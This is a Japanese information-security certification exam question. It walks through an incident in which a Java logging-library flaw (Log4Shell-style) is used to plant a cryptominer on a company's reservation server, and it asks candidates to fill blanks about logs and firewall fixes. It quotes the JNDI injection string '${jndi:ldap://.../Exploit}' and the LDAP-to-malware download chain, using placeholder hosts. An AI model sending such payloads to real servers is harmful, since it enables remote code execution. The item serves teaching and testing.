情報処理安全確保支援士試験 過去問 2022年(令和4年) 秋期 午後Ⅰ 問2
脆弱性に起因するセキュリティインシデントへの対応
U社は、従業員200名の食品製造業である。情報システム部がシステムを管理している。U社のネットワーク構成を図1に、サーバの機能概要を表1に示す。
| サーバ名 | 機能概要 |
|---|---|
| プロキシサーバ |
|
| 予約サーバ |
|
| 会員サーバ | U社の顧客向けに会員サイトを提供している。Javaを利用している。会員はHTTPSでアクセスする。会員サイトの利用には、利用者IDとパスワードによるログインが必要である。 |
注1) TLSの復号及び再暗号化ができ、HTTPS通信内容を参照することができる。
FWのフィルタリングルールを表2に示す。
| 項番 | 送信元 | 宛先 | サービス | 動作 |
|---|---|---|---|---|
| 1 | インターネット | 予約サーバ、会員サーバ | HTTPS | 許可 |
| 2 | 予約サーバ | インターネット | 全て | 許可 |
| 3 | PC-LAN | プロキシサーバ | 代替HTTP1) | 許可 |
| 4 | プロキシサーバ | インターネット | HTTP、HTTPS | 許可 |
| 5 | プロキシサーバ | インターネット | DNS | 許可 |
| ⋮ | ⋮ | ⋮ | ⋮ | ⋮ |
| 12 | 全て | 全て | 全て | 拒否 |
- 注記1 FWは、ステートフルパケットインスペクション型である。
- 注記2 項番の小さいルールから順に、最初に一致したルールが適用される。
- 注記3 項番6~11にはDMZ内のサーバとインターネットとの間、及びPC-LANとインターネットとの間の通信に関するルールはない。
- 注1) 代替HTTPのポート番号は、8080である。
セキュリティインシデントの報告と調査
ある日、予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ、普段予約サーバでは、BSoftMainとSBMainというTソフトのプロセスが稼働しているが、この日はrunという名称の見慣れないプロセス(以下、runプロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から、runプロセスが13:07:00からCPU使用率を上げていたことが判明した。
この結果を受け、情報システム部のD主任はセキュリティインシデントの疑いがあると判断し、上司に報告の上、予約サーバの調査を開始した。
13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。
| プロセスID | 親プロセスID | 開始時刻 | コマンド | CPU使用率 |
|---|---|---|---|---|
| 100 | (省略) | 10:11:15 | java BSoftMain | (省略) |
| 110 | 100 | 13:00:00 | java SBMain | (省略) |
| 200 | 100 | 13:06:30 | run | (省略) |
| 送信元 | 宛先 | サービス | プロセスID |
|---|---|---|---|
| 予約サーバ | a1.b1.c1.d1 | HTTPS | 110 |
| 予約サーバ | a2.b2.c2.d2 | HTTPS | 110 |
| 予約サーバ | a3.b3.c3.d3 | HTTP | 200 |
注記 a1.b1.c1.d1~a3.b3.c3.d3はグローバルIPアドレスを表す。以下、aX.bX.cX.dX(Xには数字が入る)はグローバルIPアドレスを表す。
表3と表4からrunプロセスの外部への通信の有無を確認したところ、IPアドレスがaのホストに対して通信を行っていたことが確認できた。また、aを確認したところ、海外のIPアドレスであり、予約サーバの通信先として想定されているものではなかった。D主任は上司に報告し、予約サーバをネットワークから隔離した。
予約サーバの調査
D主任は、①表3の内容から、runプロセスが稼働している原因の追究にはTソフトを調べる必要があると判断した。B社に状況を説明し、不具合やセキュリティ上の問題がないか確認したところ、U社が利用しているバージョンには、脆弱性があることが分かった。
その脆弱性とは、TソフトがJ利用しているライブラリXというオープンソースのライブラリに存在する、リモートから任意のコードが実行可能となる脆弱性(以下、脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。
【ライブラリXの概要】
ライブラリXは、Javaのログユーティリティである。ライブラリXには外部オブジェクトを読み込む機能があり、標準で有効になっている。
【脆弱性Yの概要】
ライブラリXを使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合、攻撃者の用意したJavaクラスが実行される可能性がある。
【脆弱性YにおいてLDAPを利用した攻撃の例】
- 攻撃者が、攻撃文字列"${jndi:ldap://a4.b4.c4.d4/Exploit}"を含むHTTPリクエストを送る。攻撃対象のWebサーバにおいて、ライブラリXがログ出力処理をする文字列中に当該攻撃文字列が含まれると、ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対し、LDAPで"Exploit"というクエリを送る。
- 攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは"Exploit"というクエリを受け、"http://a5.b5.c5.d5/JClass"を取得させるための情報を返す。
- ライブラリXはURLに従い、攻撃者の用意したWebサーバであるa5.b5.c5.d5のサーバにアクセスし、レスポンスに含まれるJavaクラスである"JClass"を実行する。
- JClassは、攻撃者の用意したURLである"http://a6.b6.c6.d6/malwarex"にリクエストを送り、レスポンスに含まれるファイルを"malwarex"というファイル名で保存し、実行する。
注記 "Exploit"、"JClass"、"malwarex"といった文字列やIPアドレスは攻撃ごとに異なる。
runプロセス起動前後の13:00:00から13:16:00までの、予約サーバのアクセスログを調査した結果、表5に示す、脆弱性Yを悪用したと考えられるアクセスログを発見した。
| 時刻 | 送信元 | リクエスト | ユーザエージェント |
|---|---|---|---|
| 13:04:32 | a7.b7.c7.d7 | GET /index.html | ${jndi:ldap://a8.b8.c8.d8/JExp} |
D主任はrunプロセスがどのような経緯で起動したかを調査するために、FWの通信ログを確認した。runプロセス起動前後の13:00:00から13:16:00までのFWの通信ログのうち、予約サーバを送信元とするものを表6に示す。
| 時刻 | 送信元 | 宛先 | サービス | 処理結果 |
|---|---|---|---|---|
| 13:02:15 | 予約サーバ | a1.b1.c1.d1 | HTTPS | 許可 |
| 13:05:50 | 予約サーバ | a8.b8.c8.d8 | LDAP | 許可 |
| 13:05:53 | 予約サーバ | a8.b8.c8.d8 | HTTP | 許可 |
| 13:06:05 | 予約サーバ | a9.b9.c9.d9 | HTTP | 許可 |
| 13:08:15 | 予約サーバ | a2.b2.c2.d2 | HTTPS | 許可 |
| 13:12:15 | 予約サーバ | a1.b1.c1.d1 | HTTPS | 許可 |
| 13:15:35 | 予約サーバ | a3.b3.c3.d3 | HTTP | 許可 |
D主任はここまでの調査で分かった情報から、予約サーバへの攻撃の流れを表7のとおりまとめた。
| 番号 | 時刻 | 内容 |
|---|---|---|
| 1 | b | 攻撃者が予約サーバに対して通信を行った。 |
| 2 | c | 予約サーバが、IPアドレスがdのホストのeサービスにfというクエリを送った。 |
| 3 | (省略) | 予約サーバが、2の通信の応答に含まれるURLに対してHTTP通信を行った。 |
| 4 | (省略) | 予約サーバで、3の通信のレスポンスに含まれるJavaクラスが実行され、攻撃者の用意したURLに対してHTTP通信が行われた。 |
| 5 | 13:06:30 | 予約サーバで、4の通信のレスポンスに含まれるファイルが実行され、runプロセスが起動した。 |
| 6 | (省略) | 予約サーバで、runプロセスが攻撃者のサーバに通信を行った。 |
U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果、暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて、予約情報への不正なアクセスは確認できなかった。
会員サーバの調査
次に、会員サーバにおいて、ライブラリXの利用の有無及び同様の攻撃の有無を確認したところ、会員サーバにおいてもライブラリXでログ出力処理を行っていること、及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし、調査の結果、攻撃は失敗していたことが判明した。D主任は、攻撃が失敗したのは、攻撃者が会員サーバにログインするための利用者IDとパスワードを知らなかったからだと考えた。しかし、E氏は、②脆弱性Yは認証前のアクセスでも悪用できるので、そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは、③別の理由だとD主任に説明した。
脆弱性への対応
D主任は上司に調査結果を報告した。その後、予約サーバは、OS及び必要なソフトウェアをクリーンインストールし、バックアップデータから復旧を行った。さらに、予約サーバと会員サーバについて、脆弱性Yに対する脆弱性修正プログラムを適用した。
再発防止策の検討
続けて、D主任は外部への不正通信が発生したことへの再発防止策を、E氏とともに検討した。再発防止策として、予約サーバからインターネットへの通信に関する設定を変更することにした。必要な設定変更内容は次のとおりである。
- 予約サーバを起点とするインターネットへのHTTPS通信は、プロキシサーバを中継させる設定とする。
- FWフィルタリングルールについて、表2の項番2を削除する。
- URLフィルタリングルールについて、表8に示す内容で設定する。
| アクセス元IPアドレス | 許可リスト | 拒否リスト |
|---|---|---|
| gのIPアドレス | h | i |
検討した再発防止策は採用され、今回の対応を完了した。